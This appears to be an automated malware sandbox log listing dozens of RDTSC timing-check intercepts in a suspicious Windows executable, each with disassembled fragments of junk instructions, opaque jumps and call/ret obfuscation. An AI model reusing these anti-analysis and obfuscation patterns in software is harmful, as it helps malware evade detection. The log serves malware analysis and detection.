Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4D01C2 second address: 4D0242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF2h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jne 00007F0F90B9EDF6h 0x00000012 jmp 00007F0F90B9EDF0h 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F0F90B9EDE8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 jmp 00007F0F90B9EDEFh 0x00000039 call 00007F0F90B9EDE9h 0x0000003e jc 00007F0F90B9EDFDh 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F0F90B9EDEFh 0x0000004b rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4D0310 second address: 4D033C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0F91376D58h 0x0000000c popad 0x0000000d xor dword ptr [esp], 07389B1Ch 0x00000014 mov si, 3CA8h 0x00000018 lea ebx, dword ptr [ebp+12454E1Fh] 0x0000001e push ebx 0x0000001f pop edx 0x00000020 push eax 0x00000021 pushad 0x00000022 jo 00007F0F91376D5Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F0C3D second address: 4F0C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007F0F90B9EDEEh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F0C52 second address: 4F0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F0F91376D56h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4BEEB1 second address: 4BEEB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EECE8 second address: 4EECFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F0F91376D5Eh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EECFD second address: 4EED03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EED03 second address: 4EED09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EED09 second address: 4EED13 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0F90B9EDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EED13 second address: 4EED23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F0F91376D56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EED23 second address: 4EED27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EF9FF second address: 4EFA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EFA05 second address: 4EFA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EFA09 second address: 4EFA24 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F0F91376D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F0F91376D5Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EFA24 second address: 4EFA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4EFB60 second address: 4EFB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F03B0 second address: 4F03E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0F90B9EDF4h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jns 00007F0F90B9EDE6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F03E8 second address: 4F03EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F03EE second address: 4F03F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F068D second address: 4F06AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0F91376D6Ch 0x0000000c jne 00007F0F91376D56h 0x00000012 jmp 00007F0F91376D60h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F3630 second address: 4F364D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F364D second address: 4F3668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4BD4CF second address: 4BD4DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4BD4DA second address: 4BD4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F7CAC second address: 4F7CC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F90B9EDF1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F7CC2 second address: 4F7CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F0F91376D67h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65AC second address: 4F65B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65B0 second address: 4F65CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D69h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65CD second address: 4F65D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65D1 second address: 4F65DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65DF second address: 4F65E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F65E4 second address: 4F65EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4F7DAE second address: 4F7DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FC767 second address: 4FC76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FC8BB second address: 4FC8D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FCDB4 second address: 4FCDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FF81E second address: 4FF823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FFA91 second address: 4FFA97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FFD89 second address: 4FFDAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 4FFEC2 second address: 4FFEC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 500427 second address: 500431 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0F90B9EDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 500594 second address: 500599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 500599 second address: 5005AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F0F90B9EDECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50077E second address: 500783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 5009F2 second address: 500A16 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F0F90B9EDEDh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F0F90B9EDE6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 500A16 second address: 500A1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 500E38 second address: 500EBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F0F90B9EDE8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 call 00007F0F90B9EDEAh 0x0000002b mov edi, dword ptr [ebp+122D2B27h] 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 mov edi, dword ptr [ebp+122D2BDBh] 0x0000003b pop esi 0x0000003c mov dword ptr [ebp+122D17E2h], eax 0x00000042 push 00000000h 0x00000044 xchg eax, ebx 0x00000045 push esi 0x00000046 push ecx 0x00000047 push edi 0x00000048 pop edi 0x00000049 pop ecx 0x0000004a pop esi 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push ebx 0x0000004f jmp 00007F0F90B9EDF6h 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 503341 second address: 503345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 503345 second address: 503349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 503349 second address: 503354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 503354 second address: 50335F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 5048EE second address: 5048F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 5048F3 second address: 504907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F0F90B9EDE6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 504907 second address: 504915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 504915 second address: 50491F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0F90B9EDE6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 505540 second address: 50555C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D68h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 508C08 second address: 508C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 508C10 second address: 508C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 508C15 second address: 508C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 508C1D second address: 508C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50A134 second address: 50A151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50D246 second address: 50D268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0F91376D56h 0x0000000a jmp 00007F0F91376D63h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50D268 second address: 50D272 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F90B9EDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50E96D second address: 50E996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F0F91376D56h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50E996 second address: 50E9A0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50F8A4 second address: 50F8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0F91376D69h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 5148D7 second address: 5148DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 514EEA second address: 514EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 515EF5 second address: 515F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007F0F90B9EDE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jo 00007F0F90B9EE1Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0F90B9EDF6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 515F22 second address: 515F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+1246DC47h], edi 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D1FA0h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F0F91376D58h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D18D2h], edx 0x0000003a mov ebx, dword ptr [ebp+122D191Ch] 0x00000040 xchg eax, esi 0x00000041 jg 00007F0F91376D64h 0x00000047 push eax 0x00000048 pushad 0x00000049 je 00007F0F91376D5Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 515F9D second address: 515FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0F90B9EDECh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51AF73 second address: 51AF79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50200A second address: 502010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50691E second address: 506922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50A395 second address: 50A399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50DABA second address: 50DAC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50A399 second address: 50A39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50EABC second address: 50EAC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 510AD0 second address: 510AF2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F90B9EDF4h 0x00000008 jmp 00007F0F90B9EDEEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F0F90B9EDE6h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 511BAA second address: 511BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F0F91376D58h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50DAC0 second address: 50DAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50A39F second address: 50A3AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F91376D5Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50EAC0 second address: 50EAC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 510AF2 second address: 510AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 511BBB second address: 511C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b jne 00007F0F90B9EDE8h 0x00000011 mov ecx, dword ptr [ebp+122D2A97h] 0x00000017 popad 0x00000018 push dword ptr fs:[00000000h] 0x0000001f je 00007F0F90B9EDECh 0x00000025 mov ebx, dword ptr [ebp+122D29F1h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F0F90B9EDE8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000019h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c cmc 0x0000004d mov eax, dword ptr [ebp+122D0E31h] 0x00000053 jg 00007F0F90B9EDECh 0x00000059 push FFFFFFFFh 0x0000005b movzx ebx, cx 0x0000005e nop 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 515037 second address: 515054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0F91376D56h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F0F91376D5Ch 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 516164 second address: 51616E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
